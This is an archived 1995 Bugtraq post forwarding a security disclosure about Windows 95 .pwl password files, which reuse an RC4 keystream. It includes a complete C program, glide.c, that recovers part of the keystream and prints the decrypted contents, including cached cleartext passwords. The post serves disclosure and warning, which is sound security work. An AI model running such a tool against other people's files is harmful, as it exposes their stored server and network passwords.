[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    Cracked: WINDOWS.PWL
From:       "Michael S. Fischer" <msf () nsi ! edu>
Date:       1995-12-05 12:57:34
[Download RAW message or body]

I don't know if this is suitable for inclusion on Bugtraq, but it's quite
scary if the implications are as described...

-------
 |\  Michael S. Fischer                           System Administrator  _O_
 |   Internet: mfischer@nsi.edu            The Neurosciences Institute   |
()   Phone: 619.626.2000  Pager: 619.645.5693            San Diego, CA   |

>---------- Forwarded message ----------
>Date: Mon, 4 Dec 1995 19:06:12 +0100
>From: Tatu Ylonen <ylo@cs.hut.fi>
>To: ssh@clinet.fi
>Subject: FWD from Frank Andrew Stevenson: Cracked: WINDOWS.PWL
>
>I am sorry to send noise to the list; this deals with Windows95 but is
>quite relevant to many Unix administrators as well.  This is not
>related to ssh.  The ssh list is not intended for this kind of stuff,
>so please don't do what I am doing now.
>
>Basically, you should be aware that if you ever mount disks from Unix
>machines to Windows95 machines, the passwords of the unix machine (or
>your other file servers) will be stored on the Windows machine's disk
>essentially in the plain, and any 10-year computer-literate kid with a
>little knowledge will be able to retrieve them in seconds if he gets
>access to client machine.
>
>The message below explains the details.  Essentially it means that
>the whole encryption scheme used by Microsoft in Windows95 is a Bad
>Joke.  Not only does it use too short keys (breakable by brute force
>in 8 hours on a normal workstation), but additionally it screws up the
>implementation, meaning that your keys can be trivially decrypted
>in a fraction of a second without ever even brute-forcing the key.
>The program to do this is below.
>
>I find this kind of "security" shocking.  I think this should go to
>the mass media.  At least make people at your sites aware of this
>fiasco.
>
>    Tatu
>
>------- start of forwarded message (RFC 934 encapsulation) -------
>From: Frank Andrew Stevenson <frank@funcom.no>
>To: cypherpunks@toad.com
>Subject: Cracked: WINDOWS.PWL
>Date: Mon, 4 Dec 1995 17:51:36 +0100 (MET)
>
>A few days ago Peter Gutmann posted a description on how
>Windows 95 produces RC4 keys of 32 bits size to protect
>the .pwl files. I verified the information and wrote a
>program to decrypt .pwl files with a known password, I then
>discovered that the .pwl files where well suited for a known
>plaintext attack as the 20 first bytes are completely predictable.
>
>The 20 first bytes of any .pwl files contains the username, which
>is the same as the filename, in capitals, padded with 0x00. From then
>I wrote a program to bruteforce the .pwl file and optimized it
>so it would run in less than 24 hours on an SGI. I run a test
>of the bruter software and recovered an unknown rc4 key in 8 hours,
>but the decrypted file was still largely uninteligeble, I then proceeded
>to decrypt the file at all possible starting points, and discovered
>valuable information (cleartext passwords) offset in the file.
>
>This has enormous implications: RC4 is a stream cipher, it
>generates a long pseudo random stream that it uses to XOR the
>data byte by byte. This isn't neccecaraly weak encryption if you
>don't use the same stream twice: however WIN95 does, every resource is
>XORed with the same pseudo random stream. What's more the 20
>first bytes are easy to guess. This is easy to exploit:
>XOR the 20 bytes starting at position 0x208 with the user name
>in uppercase, and slide this string through the rest of the file
>(xoring it with whatever is there) this reveals the 20
>first bytes of the different resources.
>
>>From there I went on to study the structure of the .pwl file it is
>something like this (decrypted):
>
>USERNAME.........wpwpwpwpwpwpwpwpwpwp
>rs???????
>rs
>rs
>rs???????????
>rs???????
>
>where wp is i word pointer to the different resources (from start
>of pwl file) The 2 first bytes of the resource (rs) is its length in bytes
>(of course XOR with RC4 output) It is the fairly easy to find all the
>resource pointers by jumping from start of resource to next resource,
>had it not been for the fact that the size sometimes is incorrect
>(courtesy of M$)
>
>What follows is a short c program that tries to remedy this and
>reconstruct the pointertable thus generating at least 54 bytes of the RC4
>pseudorandom stream, and then proceedes to decrypt as much as possible from
>the different resources.
>
>What does this show? Although RC4 is a fairly strong cipher, it has the
>same limitations as any XOR streamcipher, and implementing it without
>sufficient knowledge can have dire consequences. I strongly suggest that
>the programmers at Microsoft do their homework before trying anything like
>this again!
>
>
>
>DISCLAIMER:
>This is a quick hack, I don't make any claims about usefulness for
>any purpose, nor do I take responsibility for use nor consequences of
>use of the software. FUNCOM of Norway is not responsible for any of this,
>(I speak for myself, and let others speak for themselves)
>
>This source is hereby placed in the public domain, please
>improve if you can.
>
>- --- glide.c ---
>
>#include <stdio.h>
>#include <string.h>
>
>
>unsigned char Data[100001];
>unsigned char keystream[1001];
>int Rpoint[300];
>
>
>main (int argc,char *argv[]) {
>       FILE *fd;
>       int     i,j,k;
>       int     size;
>       char ch;
>       char *name;
>       int cracked;
>       int sizemask;
>       int maxr;
>       int rsz;
>       int pos;
>       int Rall[300]; /* resource allocation table */
>
>
>       if (argc<2) {
>               printf("usage: glide filename (username)");
>               exit(1);
>       }
>
>       /* read PWL file */
>
>       fd=fopen(argv[1],"rb");
>       if(fd==NULL) {
>               printf("can't open file %s",argv[2]);
>               exit(1);
>       }
>       size=0;
>       while(!feof(fd)) {
>               Data[size++]=fgetc(fd);
>       }
>       size--;
>       fclose(fd);
>
>       /* find username */
>       name=argv[1];
>       if(argc>2) name=argv[2];
>       printf("Username: %s\n",name);
>
>       /* copy encrypted text into keystream */
>       cracked=size-0x0208;
>       if(cracked<0) cracked=0;
>       if(cracked>1000) cracked=1000;
>       memcpy(keystream,Data+0x208,cracked );
>
>       /* generate 20 bytes of keystream */
>       for(i=0;i<20;i++) {
>               ch=toupper(name[i]);
>               if(ch==0) break;
>               if(ch=='.') break;
>               keystream[i]^=ch;
>       };
>       cracked=20;
>
>
>       /* find allocated resources */
>
>       sizemask=keystream[0]+(keystream[1]<<8);
>       printf("Sizemask: %04X\n",sizemask);
>
>       for(i=0;i<256;i++) Rall[i]=0;
>
>       maxr=0;
>       for(i=0x108;i<0x208;i++) {
>               if(Data[i]!=0xff) {
>                       Rall[Data[i]]++;
>                       if (Data[i]>maxr) maxr=Data[i];
>               }
>       }
>       maxr=(((maxr/16)+1)*16);        /* resource pointer table size
>appears to be
divisible by 16 */
>
>       /* search after resources */
>
>       Rpoint[0]=0x0208+2*maxr+20+2;   /* first resource */
>       for(i=0;i<maxr;i++) {
>               /* find size of current resource */
>               pos=Rpoint[i];
>               rsz=Data[pos]+(Data[pos+1]<<8);
>               rsz^=sizemask;
>               printf("Analyzing block with size:
>%04x\t(%d:%d)\n",rsz,i,Rall[i]);
>               if( (Rall[i]==0) && (rsz!=0) ) {
>                       printf("unused resource has nonzero size !!!\n");
>                       exit(0);
>               }
>
>               pos+=rsz;
>
>               /* Resources have a tendency to have the wrong size for
>some reason */
>               /* check for correct size */
>
>               if(i<maxr-1) {
>                       while(Data[pos+3]!=keystream[1]) {
>                               printf(":(%02x)",Data[pos+3]);
>                               pos+=2; /* very rude may fail */
>                       }
>               }
>
>               pos+=2; /* include pointer in size */
>               Rpoint[i+1]=pos;
>       }
>       Rpoint[maxr]=size;
>
>       /* insert Table data into keystream */
>       for(i=0;i <= maxr;i++) {
>               keystream[20+2*i]^=Rpoint[i] & 0x00ff;
>               keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;
>       }
>       cracked+=maxr*2+2;
>
>       printf("%d bytes of keystream recovered\n",cracked);
>
>       /* decrypt resources */
>       for(i=0;i < maxr;i++) {
>               rsz=Rpoint[i+1]-Rpoint[i];
>               if (rsz>cracked) rsz=cracked;
>               printf("Resource[%d] (%d)\n",i,rsz);
>               for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]);
>               printf("\n");
>       }
>
>
>       exit(0);
>}
>
>- --- end ---
>
>
>#include <std/disclaimer.h>
>E3D2BCADBEF8C82F A5891D2B6730EA1B PGPencrypted mail preferred, finger for key
>
>------- end -------
>
>
>
>
>

--- end forwarded text




----- End Included Message -----

[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic